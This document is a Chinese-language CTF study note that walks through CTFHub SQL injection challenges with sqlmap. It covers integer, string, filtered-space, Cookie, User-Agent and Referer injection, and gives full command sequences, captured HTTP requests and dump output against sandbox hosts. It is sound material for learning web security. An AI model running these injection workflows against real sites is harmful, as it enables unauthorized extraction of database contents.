CTF Web SQL 注入学习笔记
某些网站上存在 SQL 的漏洞,我们可以利用漏洞进行 SQL 注入获取数据库的信息。
一般来说网址或请求的末尾带有 ?id=1
的字样我们就可以考虑 SQL 注入。
本文一切例题均可在 CTFHub 找到。
sqlmap
介绍
sqlmap 是一个协助 SQL 注入的工具,且 Kali Linux 自带。我们可以很方便地获取数据库的信息。 常用方法如下表:
参数 | 描述 |
---|---|
-u <URL> | 指定注入链接为 <URL> |
-r <filename> | 指定注入网站的 HTTP 请求为 <filename> 文本文件中的内容 |
--dbs | 获取数据库数据 |
--tables | 获取表信息 |
--columns | 获取列信息 |
--dump | 获取字段内容 |
-D <name> | 指定搜索的数据库为 <name> |
-T <name> | 指定搜索的表为 <name> |
-C <name> | 指定搜索的列为 <name> |
--level <num> | 指定搜索等级为 <num> |
--cookie "<string>" | 指定访问网页时的 Cookie 为 <string> |
-p "<string>" | 指定测试的类型为 <string> |
--tamper "<filename>" | 附加名为 <filename> 的脚本 |
使用 sqlmap 进行 SQL 注入
题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> 整数型注入 / 字符型注入 / 报错注入 / 布尔盲注 / 时间盲注 / MySQL 结构
这些题都可用以下套路解决:
输入 1,我们可以在网址上看到 ?id=1
的字样,于是我们可以使用 sqlmap 进行 SQL 注入。
在终端中输入以下指令,可获得数据库的信息(部分信息已用省略号代替):
sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 –dbs
available databases [4]:
[] information_schema
[] mysql
[] performance_schema
[] sqli
于是我们可知有 information_schema
、mysql
、performance_schema
和 sqli
四个数据库。我们选择 sqli
数据库进行注入(部分信息已用省略号代替):
sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 -D sqli –tables
Database: sqli
[2 tables]
+——+
| flag |
| news |
+——+
于是我们可得到 flag
和 news
两个表,我们选择注入 flag
表(部分信息已用省略号代替):
sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 -D sqli -T flag –columns –dump
Database: sqli Table: flag [1 column] +––––+–––––––+ | Column | Type | +––––+–––––––+ | flag | varchar(100) | +––––+–––––––+ [08:59:35] [INFO] fetching columns for table ‘flag’ in database ‘sqli’ [08:59:35] [INFO] fetching entries for table ‘flag’ in database ‘sqli’ Database: sqli Table: flag [1 entry] +–––––––––––––––––+ | flag | +–––––––––––––––––+ | ctfhub{XXXXXX} | +–––––––––––––––––+ 于是我们就获得了 flag。
过滤空格
题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> 过滤空格
在注入时候空格被过滤掉了,这时我们可以使用 /**/
来代替空格。
sqlmap 有一个附加脚本 space2comment.py
可将空格替换成 /**/
,正好可解决这个问题。
于是我们执行以下指令即可:
sqlmap -u “http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1” –tamper “space2comment.py” –dbs
sqlmap -u “http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1” –tamper “space2comment.py” -D sqli –tables
sqlmap -u “http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1” –tamper “space2comment.py” -D sqli -T kttcekvceq –columns –dump
于是可获得 flag。
Cookie 注入
题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> Cookie 注入
利用 brupsuite 抓包,发现注入点在 Cookie 中,于是我们可以使用 sqlmap 进行 Cookie 注入。
注意我们需要对 sqlmap 设置 --level 2
才能使其扫描 Cookie。执行代码如下:
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 --dbs
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 -D sqli --tables
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 -D sqli -T hxwrqtoxda --columns --dump
UA 注入
题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> UA 注入
这道题的注入点在 User-Agent 中。
这时我们使用 brupsuite 抓包,并将信息存储在 test.txt
以备注入使用(*
表示指定注入的点):
POST / HTTP/1.1
Host: challenge-XXX.sandbox.ctfhub.com:XXXXX
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: *
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
于是我们可以用 sqlmap 分析抓包信息。设置 --level 3
并使用 -p
指定为 User-Agent
注入即可。执行代码如下:
sqlmap -r “test.txt” -p User-Agent –level 3 –dbs
sqlmap -r “test.txt” -p User-Agent –level 3 -D sqli –tables
sqlmap -r “test.txt” -p User-Agent –level 3 -D sqli -T swthkhjyyp –columns –dump
Refer 注入
题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> Refer 注入
我们使用 brupsuite 抓包,并未发现 Refer,于是可以自己构造 Refer(*
表示指定注入的点):
GET / HTTP/1.1
Host: challenge-XXX.sandbox.ctfhub.com:XXXXX
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Referer: id=1*
于是我们可以用 sqlmap 分析抓包信息。设置 --level 5
并使用 -p
指定为 referer
注入即可。执行代码如下:
sqlmap -r "test.txt" -p referer --level 5 --dbs
sqlmap -r "test.txt" -p referer --level 5 -D sqli --tables
sqlmap -r "test.txt" -p referer --level 5 -D sqli -T vdcwkjvvjz --columns --dump